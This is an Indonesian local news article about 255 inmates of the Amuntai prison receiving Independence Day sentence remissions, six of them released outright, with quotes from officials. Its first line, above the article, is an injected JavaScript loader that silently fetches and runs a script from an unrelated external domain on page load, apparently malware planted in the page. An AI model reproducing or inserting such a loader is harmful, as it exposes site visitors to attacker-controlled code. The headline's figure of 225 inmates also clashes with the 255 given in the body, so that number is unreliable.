(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

225 Napi Lapas Amuntai Dapat Remisi, 6 Bebas Langsung


AMUNTAI, Sebanyak 255 orang Narapidana Lembaga Pemasyarakatan (Lapas) Kelas IIB Amuntai mendapatkan remisi, dan 6 orang langsung mendapatkan remisi bebas dalam rangka HUT Kemerdekaan Republik Indonesia ke-73.

Upacara peringatan HUT Kemerdekaan RI ke-73 juga berlangsung di dalam lingkungan Lapas Amuntai. Peserta upacara warga binaan Lapas, tahanan dan para pegawai Lapas, dihadiri Ketua DPRD HSU H Sahrujani, Kodim 1001 Amuntai, Kemenag HSU serta sejumlah undangan lainnya.

Wakil Bupati HSU H Husairi Abdi membacakan amanat tertulis Menteri Hukum dan HAM RI Yasona Laoly mengatakan, Proklamasi Kemerdekaan 17 Agustus pada tahun 1945 merupakan puncak pergerakan kemerdekaan bangsa Indonesia, setelah berabad-abad mengalami pahit getir dalam himpitan belenggu kolonialisme. Gelora semangat untuk mengisi kemerdekaan tentunya harus menjadi milik segenap lapisan masyarakat, tak terkecuali bagi warga binaan pemasyarakatan.

Meskipun secara hukum mereka dirampas kemerdekaannya namun itu hanyalah kemerdekaan semata karena sesungguhnya mereka tetap memiliki kemerdekaan untuk terus berkarya.


“Beberapa kegiatan yang dilakukan para narapidana diantaranya adalah kegiatan pengabdian masyarakat yang dilakukan pasukan merah putih narapidana di Lapas-Lapas seluruh Indonesia,” katanya.

Pemberian remisi saat ini diatur oleh Peraturan Menteri nomor 3 tahun 2018 memiliki mekanisme yang sangat transparan dan sudah berbasis sistem yang mendayagunakan teknologi informasi. “Digitalisasi pemberian remisi kita dorong menjadi upaya untuk memangkas proses birokrasi berbelit yang sarat dengan peluang-peluang transaksional,”  pungkasnya.

Kepala Lapas Kelas IIB Amuntai Mohamad Yahya SH MAP mengatakan, pada momentum HUT Kemerdekaan RI ke-73, dirinya mengucapkan terima kasih kepada dukungan penuh dari pemerintah daerah kabupaten HSU selama ini. Pemberian remisi kemerdekaan pada tahun ini diberikan kepada 255 orang warga binaan Lapas, dan sebanyak 6 orang langsung mendapatkan remisi bebas.

“Sedangkan remisi sendiri yang diberikan bervariasi dari potongan minimal 1 bulan sampai maksimalnya 5 bulan,” kata Kalapas. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More

5 jam ago

Gerilya Politik Lisa Halaby ke Nasdem Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More

6 jam ago

Tim Wasev Cek Langsung Lokasi TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More

6 jam ago

Lutung Tersengat Listrik Dievakuasi Warga, Damkar HSU Amankan Satwa Dilindungi

KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More

7 jam ago

“Pesta Siswa Literasi Digital” di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More

7 jam ago

Kontestasi Pilwali Banjarbaru, Golkar Partai Pertama Incaran Lisa Halaby

Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More

8 jam ago

This website uses cookies.